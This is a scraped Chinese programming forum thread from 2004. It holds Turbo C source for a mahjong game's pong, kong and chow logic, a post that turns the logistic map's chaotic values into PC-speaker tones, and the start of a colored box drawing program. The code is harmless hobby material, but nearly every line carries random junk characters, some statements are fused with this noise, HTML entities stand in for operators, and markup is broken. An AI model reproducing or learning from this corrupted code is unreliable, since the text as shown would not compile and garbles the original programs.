7 L4 `% Z7 B2 H$ Y* }fillRectangle(x1,y1,x1+20,y1+4,0);
' c% G. I+ p& |* T7 m( V: A5 Z, e}
9 a9 \3 w4 v' f, Rif(every==10)) g0 C) P1 w% d- V$ z2 d* l+ q
{
1 O! S8 f* H9 \5 e! J0 Gx1=220;
7 B; i1 U  M# x; x, Jy1=165;" E' k! C7 e& A6 D3 q5 Z0 |2 [4 z
fillRectangle(x1,y1,x1+20,y1+4,0);
3 t1 E+ i! g$ I& D; j) ?}
7 e+ }$ x3 v, Y# s8 T# w! f* N# |5 [if(every==11)* L+ P/ V* s$ }+ V; J
{
" Y9 \8 J) c+ S1 f7 b5 \9 b+ zx1=240;
2 U# s" v  Y, i) A8 t1 iy1=165;* D* N) H# c8 F$ E9 q
fillRectangle(x1,y1,x1+20,y1+4,0);
& {" H9 O" |6 |( x0 O& J: j}
1 `2 D" O- u& c9 |: Qif(every==12)& c7 M9 B! C$ I$ C. Y  ~8 _
{9 K6 ]* n7 {8 g2 t
x1=260;
1 ^% ?  i9 @9 b5 fy1=165;. R  B' C: R( I: f; q$ c
fillRectangle(x1,y1,x1+20,y1+4,0);
- X) H  ~" d' v}
, w- n9 T( L& }0 W" `. T  }- i) j8 {  ?8 e7 G/ J3 M
zz=0;2 f+ a6 ^% B7 {5 s. y+ |+ M6 J/ X
every++;
) O- E" c) g- B! }z=z+20;
2 x) \# d. f% E& W& p! ?: E}+ w) a, P9 m$ n
showbmp(every);
, i; C( H( x) {+ Ukey=keyy;" X7 |' _2 I5 I+ s' f7 _. @
if(keyy==ENTER)7 @9 c5 \1 l9 x1 A6 V  {/ X
{
5 V) _% d9 e7 t9 drgzn(every); /*********************/
; e* B% Q5 Y* aif(sing==1) /*如果可以乓,做相应的处理*/
6 l. q. h4 b) e6 V. u{
! M. t- b% w0 m! U6 wkkk=0;0 z3 d( N% t5 r* L& J; {9 s. C7 x
kkkk=0;  q- N; z5 c2 X8 r, L& |& @! A0 f
while(kkk&lt;=computer.m)4 `" |6 n$ l7 c! b. g3 G4 E
{
* V* G: ~. z, i# I( J' J5 Oif(computer.pp[kkk].p!=1)
. h" @6 C0 K- D' m{+ \# \! A. ~' [: m1 G
comp.pp[kkkk].k=computer.pp[kkk].k;
9 O2 [/ J, R* b) |9 F4 d/ ~) r4 r% kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;0 A) Q) f4 K0 U. [  L) q
comp.pp[kkkk].number=computer.pp[kkk].number;
. k+ ]1 g5 E4 G7 m3 S0 M* Wkkkk++;) v# k8 g7 S! K; x) a6 U% V
}
5 R% z! B+ C, x$ K7 c& Welse7 K' O6 V8 D2 H2 t  D+ i
{1 i& c- o1 P, R( j$ G
m[computer.pp[kkk].number].data1=1;% v, P4 H5 {& y$ u  m( s
dwei=computer.pp[kkk].number;
: y5 N- }+ l  p: _- f9 Kcomputer.pp[kkk].p=0;+ g9 f+ g- n; R9 C# e" Q! d
}
& _/ `0 w, p2 T( l8 J3 }$ Fkkk++;, d& q: H4 `, `# y. n2 H
}3 n  r* K% n2 B! x5 `
ll=0;
- Z" g* j# J# g/ K  H9 R3 ~' P5 e4 Q2 \! ~" Q
while(ll&lt;3)
$ |9 [9 n% h# ^% |4 l{ zl=zl+20;  b" }8 q! Y4 q; L
bmpp(dwei); /*显示乓的牌*/# s7 S" l4 M. T8 r! Z8 ?$ B
ll++;
8 J, ~7 k! z, b}; _$ @, ^& p; F
3 x9 i: a/ }9 t+ D
zl=zl+9600-60;# ?- o) r6 m4 v' W4 Z7 S) b
kkk=0;
- {7 Q; ]4 B4 U8 w! c1 Lcomputer.m=computer.m-2;
7 E3 A4 z  @9 V: B! ?3 Uwhile(kkk&lt;=computer.m)
2 u  X7 B, Y5 K( j{: K; t/ n- h5 ^" k7 |% V
computer.pp[kkk].k=comp.pp[kkk].k;' |$ ?) K) M% s! @, `! i; Y
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;) _" `- p! }( h& \) _: x" U. Z
computer.pp[kkk].number=comp.pp[kkk].number;7 N) |7 b9 @, \0 B$ L* t/ `" S( w+ P
kkk++;8 Y& N8 I/ t. n' [4 G
}
9 V8 I& {) a2 N- ^- H- X# ill=0;
8 [6 i8 K& P0 K# [8 |temp=random(computer.m); /*出牌等待完善*/0 M- |# O4 J1 m  N
zyy=zyy+9280+20;$ I! f* s2 }3 G. g/ M0 S, u: |
showcbmp(temp);( T: {0 o3 |' V
zyy=zyy-9280;9 M# w  L! p& v6 S4 x* S
/*****/. I7 F1 r& l& ?/ [; O* u6 ~
rgznme(temp); 7 U8 X# O2 v. i
panduan();" h5 f5 h/ g7 t
if(me.m==0)
  u; c& q# s: ]1 X) r2 fif(second==1 &amp;&amp; threes==0)
  o$ i# z% l  V5 I9 g  Eprintf("you win!");
: @( f8 D4 J, G/ Y! g4 ]6 Wif(me.m==3)
  j8 N+ [' v* vif(second==1 &amp;&amp; threes==1)( M/ ?/ h. N+ P6 ~8 j
printf("you win!");
$ ]% E* n' |0 c% H0 z9 |. I( U7 fif(me.m==6)
1 |, K& Z/ ]. v3 w3 v  z1 I0 Eif(second==1 &amp;&amp; threes==2)
. u: @( ~$ f, @; s; P& L8 X/ Tprintf("you win!");, q) f4 m1 \: P. `1 c" k6 C
if(me.m==9)
! h7 p# O1 W3 A3 S- ?if(second==1 &amp;&amp; threes==3)
0 a$ P" w: a6 O: W' Q! m3 l! @printf("you win!");- M8 l- r  M4 k6 ]! k
if(me.m==12)  n/ p1 F4 }9 W8 Y+ E# v8 t3 t: K
if(second==1 &amp;&amp; threes==4)
2 e* O3 i9 y' cprintf("you win!");6 I, m2 D" r. C# T
, B! t* }: L4 o9 P- |& N4 u
kkk=0;5 }. e+ n( S2 j% W# z( s
kkkk=0;# d2 p. g5 G: k7 }8 M) |
while(kkk&lt;=computer.m)0 \5 ?$ g. G$ p
{% U8 y) _0 U" G, {. l
if(kkk!=temp)
4 |6 Y; S) m0 O% \; L{' q! ?4 l4 P% r1 D. r6 N6 ^( Y& ]
comp.pp[kkkk].k=computer.pp[kkk].k;
2 }- Q& _7 D$ o0 X! S2 Hcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 L2 j( a/ ~; K0 O% t0 T' ^0 jcomp.pp[kkkk].number=computer.pp[kkk].number;4 I& x* b0 A/ `% M! G$ e+ S
kkkk++;  @5 A9 g- p5 ^+ ~% A0 u- i* R
}
4 ]+ p- F: I3 v* O" `7 Delse
4 f1 y. m0 V" ^" ]' x0 ?m[computer.pp[kkk].number].data1=1;2 A. H* _  ]" o. U6 a0 ?& k
kkk++;! x( m+ p% {: k9 _9 m/ w9 \
}
2 |, \* ?% l9 r# D% c% Skkk=0;. x% p7 R. L3 [
computer.m=computer.m-1;
% m! w  ]' p6 {! q, N) o1 twhile(kkk&lt;=computer.m)
1 H' y# A% E0 p+ T{
  K6 ~3 P  H0 Vcomputer.pp[kkk].k=comp.pp[kkk].k;
! M. H; G5 F9 mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;; W7 l+ k4 g, v6 b
computer.pp[kkk].number=comp.pp[kkk].number;
7 S% {+ j. r. p. W3 S" skkk++;7 E- W3 j  j2 J( \/ H3 y: R9 r
}
& ?! U7 U% M( J3 qfillRectangle(0,0,320,30,0);9 v3 j% {/ {0 E
n=computer.m;( ]7 S' X7 V. w+ G2 }
ll=0;* B3 C/ h: ]! M) r; D* l! {
zy=0;
- f, ]; H3 ?8 P2 ?  J) w9 Awhile(ll&lt;=n)
5 _9 T# J4 m" H4 w9 f5 X{0 E8 w% h0 k' A% o, E5 F0 V
zy=zy+20;9 d# u- k  q* |' D3 C
showybmp(ll);( N8 [7 H4 E4 T3 x" p
ll++;
2 F4 b! a, q3 R7 I}
( G& u. b4 a- ?; L/ m2 kll=0;
8 h" n) y7 o$ ?3 S: hgetch();
; t* U& C) x! I; B* P6 Nsing=0;
+ l+ j+ x) \" {* r* Qsing1=1;3 E; N8 }6 K# A* Y, M5 @
}5 z# `; \/ S6 [. i. }- _9 ?" ~  ~. f
5 i8 I3 @2 B3 v7 D
if(sing==2) /*如果可以杠的做相应处理*/+ E8 N4 v5 O( L: \* ~
{
8 w9 T# \8 H! B/ @& j3 X3 Hkkk=0;
8 |% I# N: b$ H" R- A# S7 ykkkk=0;
7 [0 Z( d* W! S) g: S, uwhile(kkk&lt;=computer.m)
7 h) {& D) Y" _3 e9 \2 \# R5 w{
% ^; v2 g, e) n" Eif(computer.pp[kkk].g!=1): p' J; |2 s# d# \* u0 v# O
{
* W) S* d1 a# ^comp.pp[kkkk].k=computer.pp[kkk].k;0 v" ~9 B+ g' l6 U9 T: C* C0 `+ D
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# a" g# L0 M/ L" c# [7 [
comp.pp[kkkk].number=computer.pp[kkk].number;
$ ]+ F: j! h) R% h( m' Xkkkk++;
2 ^" a- q  S# w7 o+ E7 o% ^}) ?' w- m4 H' j
else
& J4 |, @6 L  E1 X5 p2 }& y{, x6 |7 a3 ]$ y0 b2 j8 \
m[computer.pp[kkk].number].data1=1;! }6 |% F' k2 y: Z  e  K
dweig=computer.pp[kkk].number;8 z8 z% a2 s, q. n' \
computer.pp[kkk].g=0;
6 q, K- t( C, \1 C( _}! J4 D' N* s/ P9 R
kkk++;
& W7 m' |" R. a' |$ n) R}
, S4 S7 l! `0 a# s) @: o3 all=0;
' }5 u1 g- L( @$ H0 O9 q) U* w. B
' U6 N; [6 D: `" n  n3 `1 swhile(ll&lt;=3)2 c3 A: T0 e6 J
{ zl=zl+20;% p2 E" @) l/ s; W$ x7 u
bmpp(dweig); /*显示杠的牌*/
  m" }+ v6 Q# {7 _3 Hll++;+ E1 v  y) {5 ^" B  ?# U- e# ]
}
1 x' n* V- g: A: y( Y* @" F% bzl=zl+9600-60;% b! c7 p+ s2 N1 d
kkk=0;/ b5 l0 `8 k3 H+ E) E% o% D" ~! l
computer.m=computer.m-3;
3 {( T. R7 |" {8 D" _" {while(kkk&lt;=computer.m)
6 W) J" c% j! F* c; K6 w{( R% Q. J- R! w/ F4 ~
computer.pp[kkk].k=comp.pp[kkk].k;
& n: C9 w+ `+ hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& z0 p& [) B2 N
computer.pp[kkk].number=comp.pp[kkk].number;
0 l& \0 x7 a1 n! I( t2 Fkkk++;
8 {! Q' Y. k$ ?2 \( W}
/ y# }$ T% [/ |8 t! D' Mkk=0;, W& q0 k) X" |( L8 l! s
computer.m++; /*加一个牌的容量*/6 S9 _2 P( h- [6 a* _
while(kk!=1)8 s* y5 z$ f5 Z7 \1 `* w
{
5 R& K& ?& k1 `* C* @1 A1 ]$ Ktemp=random(136); /*出牌*/! C1 j8 {4 K7 Z# Q% C
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0); M+ i2 n- P2 Y
{
! e( H, f5 u: u6 U0 ?+ G& x* ncomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
3 X$ S2 t6 q8 Z6 Lcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
, _/ b* s2 d4 W  [! l4 K2 pcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/  L+ |) Y8 x% |: m* i# h
m[temp].data2=2; /*判断牌是谁的,2为电脑*/- U# j7 I, C/ B. h
kk=1;
6 G; J0 a; O. s& \/ a}
) ?; f6 B' w" q) e}
/ _% v6 T4 f0 p. zcomlipai();
2 \. z* B6 i+ R+ ?8 j' Etemp=random(computer.m); /*出牌,等待完善*/- s; p8 h2 N1 ~3 s2 V; E# S
zyy=zyy+9280+20;
* L) h1 n8 B' R2 sshowcbmp(temp);
& K$ h, \# s$ g6 Hzyy=zyy-9280;' W; Q% C0 U- T7 G8 l
/*****/3 f) T  d5 E7 O5 u
rgznme(temp);" e, B, {$ N8 \. g$ t  c/ z2 l0 P
panduan();
5 Z& u) V: O9 Wif(me.m==0)
: i; w8 C( m6 a2 F( U! vif(second==1 &amp;&amp; threes==0)8 W/ ?; z8 Z/ Z0 ^$ J6 d5 H
printf("you win!");
3 ]+ e% e5 P9 ]if(me.m==3)
. w( p' S! x) h0 Z* o. ~if(second==1 &amp;&amp; threes==1)
2 v+ M  |! h' j  z: T, uprintf("you win!");, [5 ?8 b: {9 V6 J
if(me.m==6)6 A( L' t4 b  a# A# n! J
if(second==1 &amp;&amp; threes==2)
$ P6 }5 R7 T- j9 q: O: y; Sprintf("you win!");
5 c+ T4 X3 O7 x2 aif(me.m==9)) o  w* F$ W8 P. d0 R  V* z, ~
if(second==1 &amp;&amp; threes==3); H$ z) g+ ^: ]
printf("you win!");
* I2 q1 H( ~8 l( N# u: @if(me.m==12)# v& l' ]; _3 L4 b
if(second==1 &amp;&amp; threes==4)
+ t5 o( t- x' L! u9 Pprintf("you win!");- ]: N# q6 u& r( N7 N3 ~$ S; L

& H- C5 ?$ L6 R# c- n2 i+ M6 ~kkk=0;
3 z/ M/ I( o- O# K$ \1 q1 x: |: |kkkk=0;( m  Z" T- ^7 ^* }
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
% g- H2 w; K" F9 p& F% T4 Y! ~) ~{  b1 _. d4 b8 {+ G! G; a
if(kkk!=temp)
( i! ?% S/ i; a0 x$ z{
7 ~: }- Z: |) d8 }0 zcomp.pp[kkkk].k=computer.pp[kkk].k;
; S$ M: t  A7 Y' {; fcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, m4 G2 x' J) |8 }+ a
comp.pp[kkkk].number=computer.pp[kkk].number;5 S! _; i0 M  R4 L- Z! \
kkkk++;
0 j' k. [: }7 X% o}
3 d! ?+ b+ E; i4 q( A. e9 Kelse( Z1 z  E5 U2 M: D5 H
m[computer.pp[kkk].number].data1=1;, v+ ]4 b- \8 c" D0 l5 Z; E  {
kkk++;
! ], v( c8 P  D+ V+ y}% t5 P* b( w& Y$ g. X
kkk=0;2 V8 B# h( n0 k* Q( C
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
6 ?  }0 e' Y  z+ z; ]4 ]! J2 l9 }while(kkk&lt;=computer.m)
2 f% }' E* R7 R& Y3 m" _; q{. U; i8 c9 t/ l: b
computer.pp[kkk].k=comp.pp[kkk].k;* ~( q. A/ b& ]& v1 {+ {; @+ d
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ v8 V: _, ]6 F
computer.pp[kkk].number=comp.pp[kkk].number;+ s$ I) b. e' T$ A0 z
kkk++;. ?) g7 p  ^' h" g9 f+ d
}5 w& ?8 ]/ T8 B9 l$ B
fillRectangle(0,0,320,30,0);
1 I9 l) Q7 k7 X1 t$ W% dll=0;6 Z& B! S5 |' z2 n5 Z( u
zy=0;
, V  C# ]& H5 z7 J" S& @while(ll&lt;=computer.m)/ ?8 Y7 w7 N  _: A9 q" {
{
0 G% g' I9 u! H  k( ~( i6 K" Pzy=zy+20;: l( x. s$ g: Q- l
showybmp(ll);( v' S, ^1 I7 C5 I" j8 m2 e  j
ll++;) q. [" |; ^9 ^9 A7 f& b
}
2 R2 G4 m. w' W4 d5 q% e' dsing=0;( l, Y( e2 ?/ d
sing1=1;
' Q( R5 ^7 O9 `5 I# v, n$ D}  _) \( W( k5 ^, k% {* {: A  W
if(sing==7) /*如果可以吃的,做相应处理*/+ |+ e' l. f. c3 _9 M2 B8 m9 [! Y
{ nn=0;3 N0 {/ w+ q8 `$ p( t- S
kkk=0;
% k" L; l  [6 g9 ^/ M# q! R* @+ nkkkk=0;
2 E; d  ]' \7 s" z4 Y  G  dwhile(kkk&lt;=computer.m)
8 L" I: ^5 ]7 ?4 c- ~{* o7 Y& [: C' j9 K0 s! S
if(computer.pp[kkk].c!=1)8 L  k$ U- |5 P
{
! @3 _8 ?- I6 q, b& ~7 Gcomp.pp[kkkk].k=computer.pp[kkk].k;
% P7 Z7 V6 |$ k6 icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( S4 ?3 d5 K+ E- l" ?- p; pcomp.pp[kkkk].number=computer.pp[kkk].number;
+ ~* q" t: h$ jkkkk++;
1 m1 \1 l7 |- t5 M: ]* V}& Q" W& h7 J( [5 t! `; L+ _- f0 Q
else, }; o& u; e1 D2 q4 a
{+ [) _  G% i' C7 j/ e4 Q
m[computer.pp[kkk].number].data1=1;' P8 I9 T/ C- q+ e  q5 I
dw[nn++]=computer.pp[kkk].number;/ f% j* g. D4 t
computer.pp[kkk].c=0;
/ }7 x5 s+ O  _+ H% S2 h# ?- p& r; @}
% u4 H: C! `4 l! Kkkk++;3 }  N. ~# \; `0 Q% V; L( x
}, |# V' J2 ^/ x3 H

) E9 w: ~$ H+ x6 T* bif(me.pp[every].number&lt;dw[0])
6 N2 N* c( q; C5 l! P' b1 k{2 d" d# N) u0 d$ m* [
dw[2]=dw[1];
* L: j6 Y$ T9 f- w% j; pdw[1]=dw[0];
  |! f; p% O  Wdw[0]=me.pp[every].number;
# c  O; m/ v) ~5 e- s$ W' ]}
& l9 S! F7 W+ rif(me.pp[every].number&gt;dw[1])" U- H8 a9 [1 A5 }$ V! U3 E
{; V0 p6 r9 \' x1 B# P5 o, s
dw[2]=me.pp[every].number;( ^2 M: ^2 b7 P* q
}  K  k- R7 E' H+ I1 x" `  ~
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])2 I, z& {, T( O2 l9 y1 v
{
, J5 g5 {9 ^- N0 ldw[2]=dw[1];
: e6 I" O! N3 e) i9 c0 m2 {2 Sdw[1]=me.pp[every].number;0 a- y2 P2 H: q  V+ ]4 C
}$ }+ M0 P7 C  m' J; }: F
nn=0;7 p. {+ H+ K6 e6 g0 I% A! Q" [0 v
while(nn&lt;3). K+ m* p/ f; G+ T1 ]' z$ b% [
{ zl=zl+20;$ L+ q7 E2 Z4 p& a
bmpp(dw[nn]); /*显示吃的牌*/- E- T% r" z/ c, u9 x: W
nn++;
) h2 |  N/ v/ ^: A- H) O% N}
& L* q1 X  x# `1 \& j, n, xzl=zl+9600-60;
7 [- h: C, k  L; d6 ^kkk=0;
0 L8 y" v" i7 U' p! ycomputer.m=computer.m-2;
% t+ T4 l" N; o6 K! r: o8 S5 Ewhile(kkk&lt;=computer.m)
9 H! E' ?- v9 P" F{3 o0 d8 n, t4 {( u5 g
computer.pp[kkk].k=comp.pp[kkk].k;
. I+ L( |, _4 \- a5 Qcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;! b( A/ E; v' J  o5 n7 x
computer.pp[kkk].number=comp.pp[kkk].number;
4 ~+ q* {, ?, D0 ukkk++;- W/ i8 D9 ^( K1 }9 m. D  N
}
# G6 E/ k  J. R/ C# Fll=0;
7 g$ x8 _8 k: W& P( C- Utemp=random(computer.m); /*出牌等待完善*/5 e8 ^: K8 h( K
zyy=zyy+9280+20;
! l) Q4 L) F: A/ y$ i; D& Qshowcbmp(temp);2 d* I8 C1 l0 ~1 u2 T
zyy=zyy-9280;
7 f; L4 E2 a# f/*****/
; }7 J0 J# J" v+ n2 K7 w& F& E# Qrgznme(temp);
9 _5 n; l! S" Z7 Q$ _7 |5 cpanduan();
' x4 ]. d: d0 [9 L# l" |. @* xif(me.m==0)1 X  C' n: i6 L/ e
if(second==1 &amp;&amp; threes==0)
8 }9 w) o; U2 h1 y/ D6 q' u  z7 vprintf("you win!");  U: j  H- A* j1 x5 F, K
if(me.m==3)
/ }' U5 {" \7 w8 ~if(second==1 &amp;&amp; threes==1)/ o3 F* {& j# q
printf("you win!");
- u! ?5 a  c( t$ V' G$ h* ?6 eif(me.m==6)
6 Z; S- j1 ~5 eif(second==1 &amp;&amp; threes==2)
* |* }$ U% @. x7 `4 Fprintf("you win!");
  y, S7 `0 p& k6 Zif(me.m==9)0 U$ _4 i2 ^) o" Z
if(second==1 &amp;&amp; threes==3)* X4 z' y3 T1 f& L7 b7 L; e+ S
printf("you win!");
: G2 x" q2 L! Z7 ]if(me.m==12)
2 ^7 G& \7 l5 }if(second==1 &amp;&amp; threes==4)
5 u7 k" b" u1 o  ?* Z  b% Cprintf("you win!");7 D& b4 r, K3 e4 a2 q

4 ^' d$ P6 C7 Q) d3 ?" |1 tkkk=0;( O4 D# e# X. I) E: \; ~* h) U: i
kkkk=0;
- I( o5 V' v$ E  _/ F! vwhile(kkk&lt;=computer.m)
- u& l5 [; J! d4 p0 W9 R# j{& h/ h1 [  @( b7 u9 ?) n6 l
if(kkk!=temp); b7 k) A9 m8 |- q
{# {9 W7 K) P3 F" a
comp.pp[kkkk].k=computer.pp[kkk].k;
, ]- B9 |& B( j7 e+ K, P& ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;" {9 h! K2 x# [* g7 ?
comp.pp[kkkk].number=computer.pp[kkk].number;6 z/ C; `% h* u9 Y
kkkk++;
! H( F* U( {0 [% D}
- _  m8 ^1 S3 q! h6 O1 u3 r# Relse' {4 I. p6 b& p0 m3 j
m[computer.pp[kkk].number].data1=1;# q  B) g7 I* a& U! Y
kkk++;7 n# l' N; E% u
}. z/ R7 Z9 e$ p) f1 f+ a
kkk=0;
, R& H( E  z- y! z6 b+ mcomputer.m=computer.m-1;
- o: h6 \8 p' U# i- ]$ `/ Swhile(kkk&lt;=computer.m)
# D8 Z. m9 l& N7 C  u" ?{) Q* u5 N. `3 k% K- g
computer.pp[kkk].k=comp.pp[kkk].k;
: V3 J6 `2 T: j% {computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' h. x" R8 u" b" q% B* Jcomputer.pp[kkk].number=comp.pp[kkk].number;
) t& `" h6 R4 Y- bkkk++;
7 }. I% h9 f$ H) w, }}, W1 Y; a) z& v! l, s
fillRectangle(0,0,320,30,0);
6 E1 N6 b; R0 V+ ?  \. [# X3 Vn=computer.m;
' ^5 U& h4 e. ^ll=0;
. V! ]4 X" u. ^8 Y6 Azy=0;2 {+ E& Z: I: h- f& m7 Q5 c" C) y- y. M! r
while(ll&lt;=n)6 h% h, v6 k% U2 o" P; C9 Q
{
1 }$ p; |3 }1 L7 j1 s6 R# c+ Vzy=zy+20;* G" o- L4 [' W8 ]- M
showybmp(ll);
: N5 A2 C4 A' y: |8 h) ^  X. bll++;7 Q- ]8 _' k+ l7 G* C, A4 Q
}* D% g. a4 g  G9 R% E" }$ L, G

" n: \. a) u; j3 E. H& {% ~getch();7 F: Y+ P- v; i5 {6 U3 C
sing=0;
1 M$ a: v- d: Z1 Q( E, A$ Q  P7 dsing1=1;
6 j- n; ]% _8 Q/ t9 B; b# f}
9 N' d% ]7 w9 u; y5 F  Hif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/( H2 W0 s2 F5 p# o  r
{
# S* O: X; e' zkk=0;
. u5 _# i" `2 B5 D1 p" fh=me.pp[every].number;4 g" k1 q. a1 a% C% a1 ]5 q7 r) }
m[h].data1=1; /*此牌已经无用*/3 N# Z  k' o, k$ M
if(sing1!=1)! k) Y0 l. s" {4 O: [2 J
{( V( P5 z) N- R7 H; L0 k& o/ x
zyy=zyy+9280+20;
* g6 V8 w  i3 o% Gshowbmpd(every);
$ S; J" E$ ?, y; E( Y* M* B$ h8 S0 `9 U. [zyy=zyy-9280;
% M; s2 n. ]5 F- C" V}' g% c0 Z" f9 a7 j# h
while(kk!=1)
4 X  `+ t8 ^  }2 J1 a- e- L, C8 x{
# E- Z5 `4 L$ U% S, ]6 T8 W( Jtemp=random(136);
7 T8 D; v1 d& q# F  Tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
9 o# _( m4 S( x* v# b{
% U# C% [' X3 L& V  {! nme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
: {' @1 Z& @7 vme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
/ ~) g2 r4 r. I$ A, @3 S9 wme.pp[every].number=temp; /*第几张,用来排序*/& p+ X" I1 f' S  y& {/ a+ t
m[temp].data2=1; /*判断牌是谁的*/
3 V7 B4 N0 u8 I& skk=1;% ?% B( U: {( n4 K4 Q. Q
}* g2 a' S! o4 J. V# O8 h% J$ w
if(kk==0) /*判断如果又选择了,就从新再选*/* |, U/ M- z+ A# a, J" D
kk=0;+ _+ h7 O7 |5 P. Y. d
}
' ?& M) ]7 x, o) [& U}/ E# N- F$ ]$ f
sing=0;7 p. s! A; e. L4 Q8 _; i
sing1=0;' o% @7 R7 d2 g& @1 J$ |; j
melipai();( K, P) p0 O  A+ O
n=13;
) F8 l& {+ P2 R+ C# [: B/ Rz1=54400;0 x! ^7 x7 l, j7 l
l=0;
! w- F: p0 A) M( F, M. D$ u# D4 kg=z;) B: k6 C6 W* B8 c1 ]( y9 j% D, [! Z6 A
while(l&lt;n)
2 j9 u5 u" r  k+ `3 L" Y{ z=0;4 w2 W  U$ O* b* q
z1=z1+20;
5 K! y4 o. ?7 A& U4 y* O7 ushowbmp(l);
& s* b  G* i  J. A' Y) k" sl++;
  J" b- |: }$ k1 l+ @( z}: Q  G% `% M/ e: C9 c. y+ `% P
z1=0;/ }  x1 @3 D! P) b! M& M% ]
z=g;" |# w+ P: Z- g6 v$ B- W) p
}# f/ N4 C  M: }! `  a+ Q
keyy=0;/ U2 @) [9 t. e
}, r3 F: p) O6 H9 ^' o% U4 \
3 b' N& u  K+ |  D1 }; c: H
getch();0 G# K$ n6 V0 p5 Q& t! [! F  E
OUTVGA;& |7 j5 B; E2 R5 N3 z6 Z
} 2 C( v' ~$ _% ]' P1 s
</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
- D& [2 o1 J4 P; y</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:$ c! b. z7 q; f0 A5 z: u
. g( s/ j$ ^9 F; v
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
5 i$ A3 U: N, ]5 m' W  <FONT color=#009900>#include <DOS.H>
, Z$ ^4 Q" p- H6 h. h) F6 t  #include <STDIO.H>/ o0 i( u$ ~/ x; {
  main(){
0 H- \+ ]; k" C$ e3 \9 _  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
4 w0 V. I1 z9 {$ {2 I$ j3 E  M$ a  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
& ~& Z5 k# \8 }6 e* l# m  /*i,j用于循环记数*/  _4 }& b( }8 @+ _0 {& B/ x
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
: m, m! A$ [1 q; k9 C* l  fDis=fMax-fMin;. m( Y: E. X; B; r3 G% v
  for(j=1;;j++){
4 S' {: n6 M+ Y% H. _  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
8 Z& y7 U; R3 r) p  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/! p4 D& p+ o# \; X: e9 q: N& @/ |
  scanf("%f",&k);
5 R; g7 q4 ~9 c) X" f, C  if (k==0) break;( t+ Y: q* t( _
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/1 O) e; O$ K: ^% M
  x=k*x*(1-x);; R. l) Y) r* ?' `9 u
  for (i=1;i&lt;100;i++){
) {+ h. i  F. B# q  x=k*x*(1-x); /*计算x的值*/% r/ R( h# z* |; P
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/+ E6 |9 _1 o. l9 i! @# K( \
  delay(1000); }6 T! L* o& e5 Y
  nosound(); }}* }# u( f3 S/ @6 V
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
6 T" o& y# I  n$ H. e不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>8 W: p( \! z1 S/ g$ u
<FONT color=#009900>/*1 q+ H" i1 F2 V- ]/ S/ y7 a
*
5 C* s3 ?5 e1 \0 s* Short driver module
, I9 P6 A8 p& \0 o% X& y. S& Y6 j2 q*
; I/ _, F5 a3 A. j$ `*/</FONT></P><><FONT color=#009900>main()  w+ |$ F* N$ s: m# y
{
0 w# ?" E! v+ i! Qclrscr();
7 k$ V5 B: f/ E3 Q* i# Ubox(1,1,23,79);" M; W0 s$ t! S- q" S( T
box(2,2,21,77);
